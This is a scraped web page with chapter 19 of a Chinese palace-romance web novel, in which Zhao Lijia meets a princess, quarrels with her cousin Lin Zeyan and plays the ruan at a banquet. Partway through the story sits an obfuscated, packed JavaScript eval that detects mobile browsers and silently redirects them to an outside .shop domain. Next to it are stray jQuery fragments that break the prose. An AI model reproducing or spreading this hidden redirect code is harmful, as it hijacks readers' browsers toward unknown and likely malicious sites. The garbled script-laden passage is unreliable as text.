文趣网 > 其他小说 > 宴荔葭 > 19.第 19 章
    “是你啊!”周妙一脸惊喜走过来。

    赵荔葭点了点头笑着过去道:“你是来参加婚宴的吗?”

    她发现她说完这句周边围着的那群女郎交头接耳,有些还用一种异样的目光看着她。

    赵荔葭不得其解,这会儿她见周妙笑着奔过来,疑问暂时抛在脑后。

    “蔺则宴!”

    周妙却越过赵荔葭奔到后面。

    赵荔葭笑容僵在脸上,怎么哪儿哪儿都有三表哥啊,这还是一颗可以移动的老鼠屎!

    蔺则宴和路清宥路过,被昭乐公主叫住只得停下来行礼,“微臣见过公主。”

    周妙摆摆手,“我是偷跑出来的,不用讲究这么多。”

    昭乐公主是当今圣上最宠爱的公主,对于她和四皇子兄妹俩的越界行为,皇帝通常都是睁一只眼闭只眼。

    周妙满眼欢喜,“蔺则宴,上次我生辰宴,你怎么没来?”

    蔺则宴:“公主,上次微臣忙着案子,故不能参加。”

    周妙不在意地笑笑:“你是父亲的股肱之臣嘛,就你最忙,我理解。”

    公,公主?!

    赵荔葭在后面听到他们的对话,差点惊掉下巴,她是公主?!

    她犹豫不决,现在上去行礼问候还来得及吗?

    周妙在前头聊了一会儿,才想起她的新好友,转过头道:“哎呀我把你忘了,你叫什么来着?”

    赵荔葭愣愣地上前屈膝行礼,“见过公主。”

    她抬起头来,眼睛闪着水光,“上次不知是公主,请公主恕罪。”

    周妙笑了起来,觉得赵荔葭这样子有些好笑,“好啦,你起来吧,我不怪你,我偷跑出去玩你不认识我很正常。”

    赵荔葭感激万分,慢慢起身后才发现自己刚才行礼的时候和蔺则宴站到了一处,她余光看到他衣角,不动声色地往旁边移了一移。

    可这点小动作没逃过蔺则宴的眼睛,他睨着她,“你躲什么?”

    赵荔葭一颤,然后闭了闭眼睛假装不认识他,她心里怪罪他多嘴,在公主面前也不消停!

    蔺则宴看她在公主面前跟个鹌鹑一样,哪里还有那日在资圣寺的气焰,嗤笑一声,“赵荔葭,我问你呢,你躲什么?”

    赵荔葭在心里骂了蔺则宴千百遍,但脸上挤出乖巧的笑容,慢慢抬头:“三表哥,你唤我?”

    蔺则宴都要气笑了,他抬了抬下巴,“你说呢?”

    赵荔葭懵懂闪眼,“对不住,刚才还以为三表哥在和旁边的丫鬟说话呢。”

    “…...”

    她这是拐弯骂他呢,骂他对她语气差,蔺则宴还要在说些什么,周妙抢过话头道:“蔺则宴,这是你表妹啊。”

    蔺则宴:“算是吧。”

    赵荔葭看向他,弯睫闪动,什么叫算、是、吧 ?

    蔺则宴嘴角微勾,“难道不是吗?”

    赵荔葭脸上挂着假笑点头:“嗯,三表哥说得对。”

    老鼠屎!臭老鼠屎!

    周妙目光在较劲的两人之间闪过,唇边的笑意减了半分,“你们表兄妹怎么一见面就斗嘴,倒是旁若无人。”

    蔺则宴显然不喜欢“旁若无人”这个词,嘴角放平,行了一礼道:“公主恕罪,微臣还有事,先行一步。”

    周妙张张嘴巴,眼里的光黯淡下来,后悔自己刚才说的话,她看向赵荔葭,怏怏不乐,“你把你三表哥气走了。”

    赵荔葭:“ ?”

    她只能露出一点歉疚的笑,“公主恕罪。”

    周妙没了兴致,手里把玩着披帛一角,“算了,原谅你了。”说完,她又笑着攀起赵荔葭的手臂,“蔺则宴的院子在哪?你带我去呗。”

    赵荔葭震惊地摇头,“这...”

    周妙观察着她的表情,“就带我看看嘛,我只在外面看看就走。”

    赵荔葭为难得脸都皱在一起,“公主,三表哥的院子在哪我也不知道...”

    周妙脸上放晴,“真的?”

    赵荔葭看不懂公主的心思,点头:“真的。”

    “那好吧。”她撇撇嘴,“对了,你叫什么名字?”

    “赵荔葭”

    周妙带着她走,“这名字真好听,你就是凉州赵将军的女儿?”

    赵荔葭点头,周妙道:“我早听说国公府来了个表小姐,没想到是你啊,真是有缘,对了,你上次不是说下次去玩叫我吗,以后你叫我玩,让你三表哥给我传个消息。”

    赵荔葭面上笑笑,她心里苦啊,跟这位喜怒无常的公主一起玩儿心里就已经够七上八下了,还敢让三表哥传话,她是嫌生活太平静了日子太好过了吗。

    她发现自己被公主拉着走了好远,“公,公主,我们这是去哪里啊?”

    周妙笑着道:“当然是去听曲看舞啦。”

    到了澹漪水榭,赵荔葭见水榭里有些女郎在伴奏,有些在跳舞,才放下心来,不然她真怕公主要带着她去寻三表哥的院子了。

    蔺则宴刚才喝了不少酒,和路清宥远离人群慢慢走着醒酒,路清宥时不时看他一眼,弄得他很烦躁,“你有事吗?”

    路清宥笑着摸了摸鼻子,“刚才那真是你表妹?”

    蔺则宴点头,“你问这做什么?”

    路清宥眼里闪着调侃的光,“原来三郎也会和女郎说话逗趣啊。”

    蔺则宴皱眉:“我看你是瞎了。”

    路清宥见他脸色不好,有些好奇:“怎么,你不喜欢这表妹?”

    他见这位表妹貌美灵动,让人看着就心生好感,不知道蔺则宴怎么和这样的表妹处成这样的关系。

    蔺则宴:“别说她了,一提她,我就头疼。”

    “这症状可是有些严重啊。”

    “知道就闭嘴。”

    两人话不投机,还边走边聊,这时看到蔺从稷从一处花丛掩映的小路出来,蔺则宴端正身子,“大哥。”

    蔺从稷点点头,“你们怎么在这里?”

    蔺则宴心说这话该我问你吧,不过他还是如实回答:“我们醒醒酒。”

    蔺从稷:“你二哥呢,回去了吗?”

    “早回去了,一滴酒都没喝,都是我喝的。”

    路清宥笑着道:“还有我呢。”

    蔺从稷对路清宥道谢:“宴上有醒酒汤,或是路大人今晚留宿公府?”

    路清宥笑着拒绝:“内子还等着,我就不留宿了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619020|205619||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    几个人说着话原路返回,乐声是在转过假山时传来的。

    起初只是一缕,清冽如冰下泉流,铮铮淙淙,从夜色的深处漫上来,路清宥停下来道:“是《倾盖欢》啊。”

    蔺则宴和蔺从稷循着路清宥的脚步拐过假山,目光越过回廊,投向池心的水榭。

    此时夜色如墨,池水静得发黑,倒映着天上半轮冷月,只整座水榭笼在一片温润的光晕里,那里一片欢声笑语。

    水榭中间赵荔葭怀抱着阮咸,正弹到后半部分的欢快部分,不是是哪家的女郎循着乐曲起舞,与她应和。

    她抱着阮咸起身,那女郎跳着舞下巴一台一台向她挑衅。

    赵荔葭不甘落后,一边弹着繁复的曲调,一边以腰肢为轴轻轻摇摆,鹅黄的裙裾如水波般荡开,弹到激昂处,她整个人往后一仰,鹅黄的发带向后飘飞,她向女郎笑着挑眉回敬。

    那女郎也不服,绕着她拍手旋舞转圈,赵荔葭跟随她指尖在弦上飞速轮转,奏出一串明快的起势。

    乐曲声到了结尾悠长的部分,赵荔葭坐下来,慢慢弹动。

    “你这表妹,当真明媚动人…”路清宥此时已经完全倾向赵荔葭,觉得蔺则宴和她之间有什么,也是蔺则宴的错。

    毕竟爱美之心人皆有之,又说未知全貌不予置评,他已经见了全貌,当然可以置评。

    蔺则宴不以为然,“呕哑嘲哳难为听。”

    路清宥觉得三郎真是扫兴,蔺从稷也要开口训斥:“三郎...”

    只是他们回头去看蔺则宴,都双双愣住了。

    路清宥大吃一惊:“三郎,你…你哭什么?”

    “哭?”蔺则宴没听懂这个词,他感觉面上有冰凉的触感,上手一抹,一手的眼泪,他愣住了。

    他不敢相信:“下雨了?”

    路清宥和蔺从稷对视一番,“没有。”

    蔺则宴眼球震颤:“不对,是...”

    他看向水榭里言笑晏晏的女郎。

    赵荔葭感觉脖子后面起了一层鸡皮疙瘩,不知缘由。

    周妙感叹:“原来你还真会弹阮啊,”她伸手,“你这阮给我“”看看。”

    赵荔葭呈给她,周妙见这阮咸通身由紫檀木所制,琴面是蓝色蝴蝶衔牡丹缠枝纹内画,内画上用极薄的螺钿、夜光贝镶嵌出图案,琴头和琴侧的缠枝纹每处枝尾都镶嵌了琥珀,光线流转时,宛如星河倾泻。

    周妙爱不释手,“你这阮咸可有名字?”

    赵荔葭道:“琥珀。”

    周妙顿了一下,“为什么叫这个名字?”

    赵荔葭指指琴侧的琥珀,“我母亲因为这琴侧有许多琥珀镶嵌着,取了这名字,这阮咸是我母亲传给我的。”

    周妙“哦”了一声,然后抱着阮咸不撒手,状似开玩笑地说:“我有许多名贵琵琶,阮一个也没有,不如你把琥珀送给我好了。”

    赵荔葭闻言先是一愣,随后心里一紧,她勉强扯出一个笑,“这是母亲的遗物...”

    周妙噗嗤笑起来,把那阮咸给她,“我开玩笑的,你以为我还真缺你这阮咸啊。”

    她点点赵荔葭的脸,在赵荔葭圆润的软脸蛋上留下一个坑,“你真不好玩。”